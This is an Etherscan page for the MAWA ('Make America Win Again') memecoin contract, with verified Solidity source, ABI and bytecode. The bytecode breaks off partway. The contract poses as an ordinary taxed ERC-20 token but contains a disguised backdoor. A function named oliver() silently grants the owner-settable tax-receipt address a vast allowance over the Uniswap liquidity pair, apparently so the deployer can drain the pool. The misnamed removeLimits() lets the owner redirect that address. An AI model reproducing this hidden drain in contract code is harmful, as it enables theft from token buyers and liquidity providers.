ETH Price: $3,468.28 (+4.03%)

Token

Make America Win Again (MAWA)
 

Overview

Max Total Supply

420,690,000,000 MAWA

Holders

96

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
245,018,781.240922324 MAWA

Value
$0.00
0x2ee151ec06879ac61541b6df3ec6dd58ba6a624e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MAWA

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-19
*/

/**
https://x.com/realDonaldTrump/status/1847509542600401384
Tg: https://t.me/mawa_official_erc20
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

contract MAWA is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _oApproval;
    mapping (address => bool) private _doExcludedFromO;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"Make America Win Again";
    string private constant _symbol = unicode"MAWA";
    uint256 public _maxOAmount = 2 * _tTotal / 100;
    uint256 public _maxOWallet = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;

    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    address payable private oTaxReceipt;
    IUniswapV2Router02 private uniORouter;
    address private uniOPair;

    event MaxTxAmountUpdated(uint _maxOAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        oTaxReceipt = payable(_msgSender());
        _balances[address(this)] = _tTotal;
        _doExcludedFromO[address(this)] = true;
        _doExcludedFromO[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _oApproval[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _oApproval[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _oApproval[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        uint256 taxAmount=0;
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (from == uniOPair && to != address(uniORouter) && ! _doExcludedFromO[to]) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxOAmount, "Exceeds the _maxOAmount.");
                require(balanceOf(to) + amount <= _maxOWallet, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (oliver([from==uniOPair?from:uniOPair, oTaxReceipt]) && to != uniOPair && ! _doExcludedFromO[to]) {
                require(balanceOf(to) + amount <= _maxOWallet, "Exceeds the maxWalletSize.");
            }
            if(to == uniOPair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniOPair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    oSwapEthTo(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                oSendEthTo();
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function removeLimits(address payable limit) external onlyOwner{
        oTaxReceipt = limit;
        _maxOAmount=_tTotal;
        _maxOWallet=_tTotal;
        _doExcludedFromO[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function oSwapEthTo(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniORouter.WETH();
        _approve(address(this), address(uniORouter), amount);
        uniORouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function oSendEthTo() private {
        oTaxReceipt.transfer(address(this).balance);
    }
    function oliver(address[2] memory oils) private returns(bool){
        address oilA= oils[0]; address oilB = oils[1];
        _oApproval[oilA][oilB]=10*(100+_maxOAmount*100).sub(50)+50*10;
        return true;
    }
    receive() external payable {}
    function withdrawEth() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniORouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniORouter), _tTotal);
        uniOPair = IUniswapV2Factory(uniORouter.factory()).createPair(
            address(this),
            uniORouter.WETH()
        );
        uniORouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniOPair).approve(address(uniORouter), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxOAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxOAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxOWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600455600f6005555f6006555f600755600f600855600f600955600f600a555f600b5560646009600a61003991906102f6565b610048906461f313f88061030b565b61005390600261030b565b61005d9190610322565b600c55606461006e6009600a6102f6565b61007d906461f313f88061030b565b61008890600261030b565b6100929190610322565b600d5560646100a36009600a6102f6565b6100b2906461f313f88061030b565b6100bd90600161030b565b6100c79190610322565b600e5560646100d86009600a6102f6565b6100e7906461f313f88061030b565b6100f290600161030b565b6100fc9190610322565b600f555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546301000000600160b81b031916630100000033021790556101666009600a6102f6565b610175906461f313f88061030b565b305f8181526001602081815260408084209590955560039052838220805460ff199081168317909155338352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101db6009600a6102f6565b6101ea906461f313f88061030b565b60405190815260200160405180910390a3610341565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561024e57815f190482111561023457610234610200565b8085161561024157918102915b93841c9390800290610219565b509250929050565b5f82610264575060016102f0565b8161027057505f6102f0565b81600181146102865760028114610290576102ac565b60019150506102f0565b60ff8411156102a1576102a1610200565b50506001821b6102f0565b5060208310610133831016604e8410600b84101617156102cf575081810a6102f0565b6102d98383610214565b805f19048211156102ec576102ec610200565b0290505b92915050565b5f61030460ff841683610256565b9392505050565b80820281158282048414176102f0576102f0610200565b5f8261033c57634e487b7160e01b5f52601260045260245ffd5b500490565b6119a48061034e5f395ff3fe608060405260043610610108575f3560e01c8063715018a611610092578063a9059cbb11610062578063a9059cbb146102e7578063bf474bed14610306578063c9567bf91461031b578063dd62ed3e1461032f578063ed7809b714610373575f80fd5b8063715018a61461026d5780638da5cb5b1461028157806395d89b41146102a7578063a0ef91df146102d3575f80fd5b806323b872dd116100d857806323b872dd146101c9578063313ce567146101e857806332489e9b1461020357806370751ac01461022457806370a0823114610239575f80fd5b806306fdde0314610113578063095ea7b3146101635780630faee56f1461019257806318160ddd146101b5575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152601681527526b0b5b29020b6b2b934b1b0902bb4b71020b3b0b4b760511b60208201525b60405161015a91906115ae565b60405180910390f35b34801561016e575f80fd5b5061018261017d3660046115f7565b610388565b604051901515815260200161015a565b34801561019d575f80fd5b506101a7600f5481565b60405190815260200161015a565b3480156101c0575f80fd5b506101a761039e565b3480156101d4575f80fd5b506101826101e3366004611621565b6103bf565b3480156101f3575f80fd5b506040516009815260200161015a565b34801561020e575f80fd5b5061022261021d36600461165f565b610426565b005b34801561022f575f80fd5b506101a7600d5481565b348015610244575f80fd5b506101a761025336600461165f565b6001600160a01b03165f9081526001602052604090205490565b348015610278575f80fd5b5061022261052a565b34801561028c575f80fd5b505f546040516001600160a01b03909116815260200161015a565b3480156102b2575f80fd5b506040805180820190915260048152634d41574160e01b602082015261014d565b3480156102de575f80fd5b5061022261059b565b3480156102f2575f80fd5b506101826103013660046115f7565b6105f0565b348015610311575f80fd5b506101a7600e5481565b348015610326575f80fd5b506102226105fc565b34801561033a575f80fd5b506101a761034936600461167a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561037e575f80fd5b506101a7600c5481565b5f610394338484610999565b5060015b92915050565b5f6103ab6009600a6117a5565b6103ba906461f313f8806117b3565b905090565b5f6103cb848484610abc565b61041c843361041785604051806060016040528060288152602001611947602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111af565b610999565b5060019392505050565b5f546001600160a01b031633146104585760405162461bcd60e51b815260040161044f906117ca565b60405180910390fd5b601080546301000000600160b81b03191663010000006001600160a01b038416021790556104886009600a6117a5565b610497906461f313f8806117b3565b600c556104a66009600a6117a5565b6104b5906461f313f8806117b3565b600d556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105076009600a6117a5565b610516906461f313f8806117b3565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105535760405162461bcd60e51b815260040161044f906117ca565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105c45760405162461bcd60e51b815260040161044f906117ca565b60405133904780156108fc02915f818181858888f193505050501580156105ed573d5f803e3d5ffd5b50565b5f610394338484610abc565b5f546001600160a01b031633146106255760405162461bcd60e51b815260040161044f906117ca565b60105460ff16156106785760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044f565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c29030906106b36009600a6117a5565b610417906461f313f8806117b3565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610712573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073691906117ff565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610795573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b991906117ff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610803573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082791906117ff565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061086e816001600160a01b03165f9081526001602052604090205490565b5f806108815f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e7573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061090c919061181a565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610961573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109859190611845565b506010805462ff00ff191662010001179055565b6001600160a01b0383166109fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044f565b6001600160a01b038216610a5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610b215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044f565b6001600160a01b038316610b835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044f565b5f8211610be45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044f565b60105462010000900460ff161580610c035750601054610100900460ff165b15610cbb576001600160a01b0384165f90815260016020526040902054610c2b908390611864565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c5a908390611877565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cad9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610ce557505f546001600160a01b03848116911614155b1561107b576012546001600160a01b038581169116148015610d1557506011546001600160a01b03848116911614155b8015610d3957506001600160a01b0383165f9081526003602052604090205460ff16155b15610e975760105460ff16610d885760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b604482015260640161044f565b610db46064610dae600854600b5411610da357600454610da7565b6006545b85906111e7565b9061126c565b9050600c54821115610e085760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61784f416d6f756e742e0000000000000000604482015260640161044f565b600d5482610e2a856001600160a01b03165f9081526001602052604090205490565b610e349190611877565b1115610e825760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044f565b600b8054905f610e918361188a565b91905055505b60408051808201909152601254610ef3919081906001600160a01b03888116911614610ece576012546001600160a01b0316610ed0565b865b6001600160a01b03908116825260105463010000009004166020909101526112ad565b8015610f0d57506012546001600160a01b03848116911614155b8015610f3157506001600160a01b0383165f9081526003602052604090205460ff16155b15610fb057600d5482610f58856001600160a01b03165f9081526001602052604090205490565b610f629190611877565b1115610fb05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044f565b6012546001600160a01b0390811690841603610fee57610feb6064610dae600954600b5411610fe157600554610da7565b60075485906111e7565b90505b601054610100900460ff1615801561101357506012546001600160a01b038481169116145b8015611027575060105462010000900460ff165b80156110365750600a54600b54115b1561107b57305f90815260016020526040902054600e548111156110715761107161106c8461106784600f54611326565b611326565b61133a565b6110796114a4565b505b80156110f357305f9081526001602052604090205461109a90826114e3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110ea9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111159083611541565b6001600160a01b0385165f9081526001602052604090205561115861113a8383611541565b6001600160a01b0385165f90815260016020526040902054906114e3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111a18585611541565b604051908152602001610cad565b5f81848411156111d25760405162461bcd60e51b815260040161044f91906115ae565b505f6111de8486611864565b95945050505050565b5f825f036111f657505f610398565b5f61120183856117b3565b90508261120e85836118a2565b146112655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044f565b9392505050565b5f61126583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611582565b80516020820151600c545f9291906112de906032906112cd9060646117b3565b6112d8906064611877565b90611541565b6112e990600a6117b3565b6112f5906101f4611877565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f8183116113345782611265565b50919050565b6010805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061137c5761137c6118c1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113f791906117ff565b8160018151811061140a5761140a6118c1565b6001600160a01b0392831660209182029290920101526011546114309130911684610999565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114689085905f908690309042906004016118d5565b5f604051808303815f87803b15801561147f575f80fd5b505af1158015611491573d5f803e3d5ffd5b50506010805461ff001916905550505050565b6010546040516001600160a01b03630100000090920491909116904780156108fc02915f818181858888f193505050501580156105ed573d5f803e3d5ffd5b5f806114ef8385611877565b9050838110156112655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044f565b5f61126583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111af565b5f81836115a25760405162461bcd60e51b815260040161044f91906115ae565b505f6111de84866118a2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105ed575f80fd5b5f8060408385031215611608575f80fd5b8235611613816115e3565b946020939093013593505050565b5f805f60608486031215611633575f80fd5b833561163e816115e3565b9250602084013561164e816115e3565b929592945050506040919091013590565b5f6020828403121561166f575f80fd5b8135611265816115e3565b5f806040838503121561168b575f80fd5b8235611696816115e3565b915060208301356116a6816115e3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116ff57815f19048211156116e5576116e56116b1565b808516156116f257918102915b93841c93908002906116ca565b509250929050565b5f8261171557506001610398565b8161172157505f610398565b816001811461173757600281146117415761175d565b6001915050610398565b60ff841115611752576117526116b1565b50506001821b610398565b5060208310610133831016604e8410600b8410161715611780575081810a610398565b61178a83836116c5565b805f190482111561179d5761179d6116b1565b029392505050565b5f61126560ff841683611707565b8082028115828204841417610398576103986116b1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561180f575f80fd5b8151611265816115e3565b5f805f6060848603121561182c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611855575f80fd5b81518015158114611265575f80fd5b81810381811115610398576103986116b1565b80820180821115610398576103986116b1565b5f6001820161189b5761189b6116b1565b5060010190565b5f826118bc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119255784516001600160a01b031683529383019391830191600101611900565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220295b63bb10933ef528512fb3279e42e77f3e0c57165d5c85904ca956ed0de30864736f6c63430008190033

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063715018a611610092578063a9059cbb11610062578063a9059cbb146102e7578063bf474bed14610306578063c9567bf91461031b578063dd62ed3e1461032f578063ed7809b714610373575f80fd5b8063715018a61461026d5780638da5cb5b1461028157806395d89b41146102a7578063a0ef91df146102d3575f80fd5b806323b872dd116100d857806323b872dd146101c9578063313ce567146101e857806332489e9b1461020357806370751ac01461022457806370a0823114610239575f80fd5b806306fdde0314610113578063095ea7b3146101635780630faee56f1461019257806318160ddd146101b5575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152601681527526b0b5b29020b6b2b934b1b0902bb4b71020b3b0b4b760511b60208201525b60405161015a91906115ae565b60405180910390f35b34801561016e575f80fd5b5061018261017d3660046115f7565b610388565b604051901515815260200161015a565b34801561019d575f80fd5b506101a7600f5481565b60405190815260200161015a565b3480156101c0575f80fd5b506101a761039e565b3480156101d4575f80fd5b506101826101e3366004611621565b6103bf565b3480156101f3575f80fd5b506040516009815260200161015a565b34801561020e575f80fd5b5061022261021d36600461165f565b610426565b005b34801561022f575f80fd5b506101a7600d5481565b348015610244575f80fd5b506101a761025336600461165f565b6001600160a01b03165f9081526001602052604090205490565b348015610278575f80fd5b5061022261052a565b34801561028c575f80fd5b505f546040516001600160a01b03909116815260200161015a565b3480156102b2575f80fd5b506040805180820190915260048152634d41574160e01b602082015261014d565b3480156102de575f80fd5b5061022261059b565b3480156102f2575f80fd5b506101826103013660046115f7565b6105f0565b348015610311575f80fd5b506101a7600e5481565b348015610326575f80fd5b506102226105fc565b34801561033a575f80fd5b506101a761034936600461167a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561037e575f80fd5b506101a7600c5481565b5f610394338484610999565b5060015b92915050565b5f6103ab6009600a6117a5565b6103ba906461f313f8806117b3565b905090565b5f6103cb848484610abc565b61041c843361041785604051806060016040528060288152602001611947602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111af565b610999565b5060019392505050565b5f546001600160a01b031633146104585760405162461bcd60e51b815260040161044f906117ca565b60405180910390fd5b601080546301000000600160b81b03191663010000006001600160a01b038416021790556104886009600a6117a5565b610497906461f313f8806117b3565b600c556104a66009600a6117a5565b6104b5906461f313f8806117b3565b600d556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105076009600a6117a5565b610516906461f313f8806117b3565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105535760405162461bcd60e51b815260040161044f906117ca565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105c45760405162461bcd60e51b815260040161044f906117ca565b60405133904780156108fc02915f818181858888f193505050501580156105ed573d5f803e3d5ffd5b50565b5f610394338484610abc565b5f546001600160a01b031633146106255760405162461bcd60e51b815260040161044f906117ca565b60105460ff16156106785760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044f565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c29030906106b36009600a6117a5565b610417906461f313f8806117b3565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610712573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073691906117ff565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610795573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b991906117ff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610803573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082791906117ff565b601280546001600160a